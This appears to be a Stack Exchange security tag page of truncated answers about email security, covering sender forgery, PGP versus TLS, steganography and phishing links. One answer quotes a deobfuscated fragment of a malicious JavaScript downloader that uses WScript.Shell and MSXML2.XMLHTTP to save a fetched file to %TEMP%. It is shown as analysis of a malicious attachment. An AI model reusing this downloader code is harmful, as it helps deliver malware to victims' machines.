Tag Info

New answers tagged

0

No, it's not secure. In this case users can reset each other's passwords anonymously. Even though it's secured by TLS, you make no mention that the TLS smtp connection is authenticated. Even if the SMTP was authenticated, its possible for the authenticated name (joe@company.com) to not equal the FROM (otherperson@company.com). (required) There are many ...


-1

Welcome to RFC2821. You can combine, though this is a truly monumental task if you do it by yourself, but great as a kind of learning moment, different feature points to obtain a score on whether the mail is spam or ham. You could, grade the contents of the mail based on the words whether it is spam or ham ( word clustering on a pre supervised labelled data ...


6

There is no direct way to know if the from address is forged or not. It is trivially easy to change when sending an email. You can't even always tell if it came from the right server - many domains dont have SPF setup properly. And sometimes people send emails through other servers because they have to - for example some ISPs require you to send through ...


2

There is no way to ensure authenticity of standard SMTP mail. The system is simply not designed to require or enforce authenticity. You will need to do something at the content layer, such as S/MIME or PGP/GPG, if you require assurance that the email is from a legitimate source.


0

Encrypting the OST wouldn't necessarily mitigate a breach. If user credentials are compromised, those could be used to decrypt an OST and whatever other files were encrypted, whether at rest or in-transit. There is no silver bullet.


1

Your have about 50% less violation of your privacy in this case. When you send an unencrypted email to another domain, both your mailserver and the mailserver of the receiver can read it. When you send an unencrypted email to the same domain, only the mailserver of that domain can read it. This assumes the ideal case where both sender and receiver connect ...


-2

on the same domain / mail server your mail NEVER enters the Internet (under correctly configured mail systems) so this is inherently safer for YOUR mail than any other solution. however. its only safe for as long as no one can access the mail through other means (hacking the mail server for example). its important to realise that not only you, and your ...


0

This header X-Source-Args: /usr/sbin/proxyexec -q -d -s /var/run/proxyexec/cagefs.sock/socket /bin/cagefs.server is standard header in email sent from shared hosting. When I search the keyword /var/run/proxyexec/cagefs.sock/socket via SE search , it pop up in several questions on SO and SF, indicating this header was normal. I don't familiar with ...


3

The image speaks for itself : This actually triggered the antivirus on downloading a ZIP file with the following JS, deobfuscated using JSUnpack : function dl(fr, fn, rn) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn; var xo = new ActiveXObject("MSXML2.XMLHTTP"); ...


2

"How secure is X" is always a vague question. In order to give you a better answer, we need to understand the value of what you're trying to protect, and your threat model. Are you trying to protect a banking or shopping site, where people can store credit cards for future purchases? You'll have determined thieves like you can't imagine, and this isn't ...


2

The main problem is that e-mail is not a secure distribution mechanism and is potentially susceptible to intercept. It is unfortunately often the best we have available for trying to validate a user has access to the e-mail box, but shouldn't be trusted exclusively. Many e-mail servers make no attempt to protect the contents of an e-mail in transit and any ...


2

Using only their username to generate the GUID is not sufficient, how about adding a time stamp to it? There should be a time limit to which the user has to click the link. The link should also expire upon account activation, especially if they are required to set a password upon account activation. What if I am able to obtain the activation link, is the ...


3

Hashing is a one-way function. Encryption can be reversed with a key; hashes cannot. The only time you'd use hashing is if you don't care what the value of something is, you just want to check that it's equal to what the user just typed in. In particular, if you hash the email addresses, you will never be able to send mail to the addresses. Since you want to ...


0

Is the danger in sending this information via e-mail much greater than the danger of those other ways? It's impossible to make qualified comparisons because there are many possible circumstances and variables. In general, however, unencrypted email security is similar to sending someone a post card: anyone who handles it along the way can read what it ...


0

It's been a while since I last worked closely with Lync server, but while you can exercise quite a bit of control over the content of the conversations, I don't believe that it directly allows for Activesync style encryption policies. I sadly no longer have a configured environment to go digging on to verify that though, so take this answer with a large ...


2

Hopefully the mail traffic is encrypted via tls, but unless you administer your own mailserver there is no way to enforce this. To be shure your data is save you have to use pgp/gpg, bot many companies think that is too complicated for them. You must decide if you really want to do business with them if they are not prepared to safeguard your data. As a ...


1

By controlling the presentation layer, you may display a confirmation pop-up before redirecting to the target URLs. While requesting confirmation, the pop-up would highlight the target domain and include a reminder about dangers related to malicious websites


1

Anonymity from whom? Governments, or the average person you are making bitcoin exchanges with. These two differ widly. In the first (govs), anonymity is a bit more difficult since most people don't focus much on operational security (OPSEC) so little is thought about weaving together an alter ego. This means, most people are under the impression that they ...


0

Where can you confirm server04.funet.co.il as IP 212.29.215.70 ? Do a whois on the first IP, check the admin email adresse, or send a mail to abuse@.... domain name of this IP. Here: $ whois 212.29.215.70 [Requête en cours whois.ripe.net] [whois.ripe.net] ... /CUT PART / ... % Information related to '212.29.215.64 - 212.29.215.95' % Abuse contact for ...


2

Unluckily, although PGP is awesome in theory, the "real world" benefits of PGP are quite limited, if existent. If PGP was the default that everybody uses, it would rock. TLS gives you (ignoring the possibility of exploits) a secure connection to your mail server. You have the guarantee that the server you talk to is really your mail server, and that nobody ...


1

Whether this is a good idea or a bad idea really depends on what your requirements are and what threats/risks your trying to protect against. I think there are some signficant limitations with the practical aspects of this approach, such as ensuring your messages looks enough like spam that it is obscured, but not so much like spam that your recipients anti ...


9

HTTPS only protects your email between you and Google. From then on it is transferred unencrypted. That means your email can be read by: Google (and they admit that they read it!) any routers between Google and the mail service of the receiver the receivers mailserver when the receiver isn't also using https, any router between their mailserver and them. ...


6

In short, PGP protects the contents of the email, both in-flight and at rest; TLS protects the communication channel while the message is transiting a network. PGP vouches for a person and an email address; TLS vouches for a server (and optionally a client).


24

There is more at risk in using SSL/TLS than potential 0-days, because there are already known attacks that can circumvent TLS. Moxie Marlinspike has been giving Def Con presentations on it since at least Def Con 17. One of the most notable tools is sslstrip, created by Marlinspike. Sslstrip works because TLS operates on a Certificate Authority trust model, ...


54

SSL/TLS protects the email from tampering or eavesdropping as it transits between your computer and Google's server, and possibly during further relays to eventual recipient. And that's all it does. PGP does far more. If you're sending a signed email, the recipient can verify that the email was sent by you, and that it was not tampered with at any point ...


12

non-repudiation -- no one can forge your private key signature of a message, encryption at rest -- the message is encrypted not just in transit, but at rest as well. all of the benefits of mail over SSL/TLS sans a lot of the problems (e.g. Heart Bleed and POODLE) Just to name three.


3

The biggest difficulty you will have in building this system is not a technical one, but more political, and legal. You are going to be targeted by every government in the world. Government's will be your biggest threat, and I cannot see where you could possibly get proper hosting without some form of “backdoor/channel” for government agencies. For example, ...


1

Perhaps you want pairing-based cryptography (a subset of ID-based encryption) to solve the keying and key storage problems.


0

This is Security through obscurity and it appears to be being used as a measure in lieu of properly securing the customer portal. There is an advantage of never sending links in emails though, as this could reduce phishing attacks on your customers. However, customers must already know that you never send links via email as an attacker sending a phishing ...


7

Using steganography instead of encryption is a rather bad idea, especially when the tool used is freely available. Anybody could use it to uncover the message. However, simple encryption has a shortcoming when compared to steganography: Encrypted messages are usually identifiable as such, so while nobody knows what you send somebody, there is a proof you ...


10

The problem with this technique (with any kind of steganography, actually) is that it relies on security through obscurity. An eavesdropper who is aware of spammimic.com could easily train their surveillance system to recognize patterns which are typical for messages generated by spammimic, log them and extract their hidden payload. By the way: Using the ...


19

It would help if you elaborated on if you are defending from a targeted attack or just being cautious, and what vector the potential adversary would be using to eavesdrop. That being said, the method you are referring to is called 'security through obscurity', and is "… discouraged and not recommended by standards bodies." I would say that is putting ...


1

I think you have a fair point here. In the current thread model the only thing you should consider is where and HOW the keys are stored. Storing the keys -as long as they are encrypted- on the server and transferring them ONLY via TLS shouldn't be an issue. You should research how the big players in this area did it before, like the services you ...


1

TL;DR - Use SMIME or PGP if you're paranoid of everything. More information: To answer your boiled-down question: How do you secure email? Practically speaking email is subject to attack by DNS spoofing, WIFI interception, and untrusted network administrators just to name a few. To mitigate this you need to consider the different aspects that need ...


8

The biggest point you're missing is a threat model. You've got a bullet-point list of security decisions you've made (some of them rather questionable), but you don't have any idea who you're defending against or what their capabilities (both technical and legal) are. The appropriate precautions for defending against your little brother are very different ...


5

I see at least one way an attacker can take advantage of these e-mails. The attacker (perhaps one of your customers) might attempt to "claim to be you" and send an e-mail to your customers with a very similar link, to a faked version of your website. When the victim user "logs in" to the faked site, the attacker would then have their username and password, ...


0

Unless you are sending specific strings in the URL to provide pass-throughs (where a user can click to log in without authenticating) there is no more danger with out without links. The reasoning for this is, someone can stumble unto your portal as it stands (provided it is on the public Internet which it would have to be unless you established some form of ...


8

"Analysis": The fact that actual login attempts were made, tells you that the attacker was able to set up connections to the mail host . Since, in order to receive information over the Internet, you must be in control of the IP address you are using, this cannot be a case of address spoofing. (Attackers may send you information using spoofed addresses, as ...


1

You can construct an empty From: header by using the special address <>, which is normally used for the source of bounce messages. This may be clobbered by anti-spam. The more usual solution to this is an Anonymous Remailer. That results in a message "From" the remailer, with a time delay. You need to find a remailer you can trust that isn't ...


6

It may be a Botnet with many different Computers in different countries. It has the advantage (for the hacker) that it is almost impossible to block for you (or your mail provider) because there is no IP that can be blocked. I don't know you, or your mail account, but if it is a normal account without important information in it there is a big chance that ...


26

TOR, VPN, bots, proxies, you name it.. The source IP is not "spoofed" per se... it's the real deal. If someone really spoofed a source IP, they couldn't establish a TCP connection or receive any replies. The source IP spoofing method is more useful over UDP when launching an amplification attack to a victim/spoofed IP.


5

PGP uses hybrid encryption. That means that the public/private key system is not used to encrypt the whole message. It is only used to encrypt a symmetric key which is used to encrypt the actual message. When you address a PGP message to multiple recipients, you only encrypt the message once with a newly created symmetric key, and then encrypt that ...


1

When we are working with Responsible Disclosure Communication, we need balance security and convenience. Convenience for whom? For security researchers. You need to think a few things before choose: Do you need the reports so safe that you can wait to receive them? Sometimes the security researcher finds a security bug, but he is not with his PGP ...


1

There have been experiments with mail services, where the recipient must complete a CAPTCHA before reading your message and revealing your true identity and e-mail address. Google has had a "mailhide" API up and running for website developers, but I haven't looked into a way to be useful to end users. To answer your question directly - unfortunately, I do ...


0

Firstly, glad you did not suggest designing your own; that way lies years of insecurity and support nightmares. PGP supports a PKI with X509 certificates[1], though few people use it that way. Another option is S/MIME, with certificates issued by a well-known CA[2]. Either way, you get central management of the hierarchy of trust and can skip the headaches ...



Top 50 recent answers are included